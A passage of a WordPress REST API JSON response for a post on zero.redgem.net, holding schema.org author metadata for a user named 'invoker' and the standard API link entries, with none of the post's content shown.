redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/56923","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=56923"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/56923\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=56923"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=56923"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=56923"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}